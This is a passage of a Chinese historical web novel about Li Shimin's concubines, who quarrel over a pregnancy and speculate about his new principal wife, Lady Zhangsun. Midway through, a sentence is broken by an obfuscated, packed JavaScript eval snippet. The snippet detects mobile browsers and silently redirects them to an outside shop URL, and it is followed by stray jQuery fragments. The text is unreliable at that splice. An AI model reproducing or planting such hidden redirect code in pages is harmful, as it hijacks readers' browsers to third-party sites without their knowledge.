绿衣道:“妻者,齐也,正室之所以尊贵就是因为是合两姓之好,增添家族的助力。这是我们这样无凭无恃的微贱之人所不能办到的,也正因为如此,同样身为女子,兴许你我姿容都比妻室要强,却只能做人家的妾,不能成为正妻。高氏的想法,李氏必定知道,李氏也绝非那种随随便便一个普通仕女求婚配就能随意答应的人家,这门亲事悬殊如此大,能使李家不顾及姻亲间的助力的,必定源于我们夫人自身——应允这门亲事的一定不是寻常女子。我现在好奇的是不知道我们殿下同新夫人感情如何,你们知道,郎君个性,我不知道你们怎么样,我是时时感到害怕的,不知道新夫人见了郎君怕不怕?”
云裳便道:“是啊,不知道我们夫人同郎君相处时怎样一个情形?”
芟荑道:“我倒不怎么在意此事,我倒更在意夫人会怎样对待我们这些服侍过郎君之人,向来嫡妻都不会喜欢丈夫身边人的,不知是否会为难我们。”
燕支冷笑一声:“我们只要做好自己分内之事,服侍好郎君,她敢怎样?”
芟荑轻声无奈叹息:“哎……话虽如此说,可是作为女子谁没有一点妒忌之心呢?人家毕竟是嫡妻,我们拿什么比人家?还是安安分分,若不然,岂不是以卵击石么,将天比地。我是不敢的!”
燕支很不屑的哼了一声:“什么天啊地的,哪里就那么悬殊起来了!姐姐你怕事,我却不似姐姐这般好性儿,若是我真的哪里错了有了不是我自然认了,若是无故欺侮我,我是必定不服的!”
芟荑连连轻声赔礼:“是我说错了话了,怎么能把妹妹跟我们这些常人等同看待。妹妹生的这样好容貌,又是这样一副体态,得郎君宠爱胜似我们许多,即便真是有谁想欺负妹妹,郎君自然偏护妹妹的,自然有这个底气。我没有妹妹这般福气,自然是怕的嘛。”
云裳道:“你们也不要想太多了,既然高士廉是名士,门风谦让,夫人自幼长于这样的家庭,耳濡目染,必定不会过分苛责我们的。”
芟荑呵呵笑着:“我竟忘了,要说好福气我们这些人实在比不过你!你如今已经身怀子嗣,连唐王都亲自过问,三天两日贵人们遣人问候,自然比我们尊贵。你现在是至金至贵之人,夫人自然不敢‘苛责’。自然可以用不着‘想太多’了。”
一句话戳到侍燕支痛处,燕支立即妒意横生,她虽然比其他宫人都要生的美貌,性情率真活泼,能言工笑,在服侍李世民之时从容应答,不见半点羞怯畏惧之态,因而相较众女更受李世民偏爱一些,侍寝机会也比众女多一些,可是却没有能怀上子嗣,而其他一同入侍的宫人却已经经御医确诊有孕。因而心中常常不忿,一经芟荑挑拨,登时放下脸来,峨眉高高挑起,鼻子出气,向着云裳冷笑几声:“有什么了不起的,不就是一个孩儿,是男是女还不知道呢,就这样张牙舞爪起来!”
云裳是见芟荑挑拨众人,忙陪笑着起身:“我想起来了,我还有些事,我就先告退了,姐姐们慢慢消遣。”
只听芟荑在后面低低的劝燕支:“妹妹不要动怒,要论孩儿,可不在于迟早,最重要哪个更得郎君喜爱。我只见唐王高兴,可并没见郎君为这孩子有多欢喜。或许正因盼着妹妹的好消息呢?”
云裳心中一凛,不由自主的疼痛,脚步亦凝滞的迈不开。
燕支闻言,莲脸绯红,立即喜上眉梢:“可我还没有动静呢!”
芟荑道:“等郎君回来,妹妹还怕什么呢?他日荣归之时,可别忘了今日姐妹的一场至情,多多关照关照。”
燕支笑嘻嘻道:“姐姐放心,我不是那样无情无义之人。”
回到自己寝室刚才芟荑之语却一直在耳边萦绕。继而回想起那夜侍寝之时,他得知自己怀孕之后的表情,的确不是欢喜之情。继而又回想起,在御医确诊她有孕的第二日一早,也就是侍燕支服侍李世民侍寝的早晨,侍燕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880486|212440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
支撅着嘴显得很是委屈,而李世民则引臂为她擦拭脸上的泪水。这是他与她之间从未有过的亲密。难道他是另有所待,这不是他期望的那个孩儿?他真的不喜欢这个孩子吗?她越想心中越是难过,在房中独自饮泣。
身边服侍的侍婢喜儿见她哭泣安慰道“何必如此伤感,她们是嫉妒娘子今时之地位,故意让娘子难过,娘子若真是如此,岂不是叫她们如意了。”
云裳不可自制的落泪:“她们说的没错,郎君的确是不高兴的。”
喜儿安慰道:“奴婢并未看见郎君不高兴,郎君年轻初为人父,自然不知道怎么应付。娘子如今身怀六甲,更要保重身体才是,若是伤心而损了胎气,那可真是仇者快亲者痛!到时候,唐王,郎君面前怎么交代?”
云裳好不容易止住悲戚,从此以后,极少与燕支,芟荑同处,常常是自己独自居于房中,或是与绿衣一块儿说说话而已。
四月月底,李世民从洛阳战场回师,三日之后,弗能等女眷亦到达长安。
李渊又特许她随同女眷一同参与迎接。所有女眷之中除了李渊本人有名分的妾就是女儿,以及建成之妻,作为低级侍妾她本无资格参加这次的迎接。腹中之子又使她得到这份殊荣。能在承乾殿众女子之前先目睹这位长孙夫人的风采。
当车架徐徐驶近,她于数辆七宝华盖车中,不能分辨哪一处才是弗能的所在,便下意识的望向身前的李世民。却见他高高扬首,眉宇间是从未见过的翘楚以待。车辆还距离较远,他便准备提步上前,却迅速被一旁三娘拉住。只听三娘低低告诫:“不要这么着急忙慌的,这许多女眷在这里,人家见了你如此,是要笑话的!”李世民闻言,一脸孩子气的无奈,被迫停步。众女眷下车后,她于人群之中,看到一个女孩儿,隐隐感觉这就是她了。她不过十六七岁的摸样,甚至于比她自己年纪还要小,在那张充满稚气的脸上,却有着截然相反的沉寂的神情……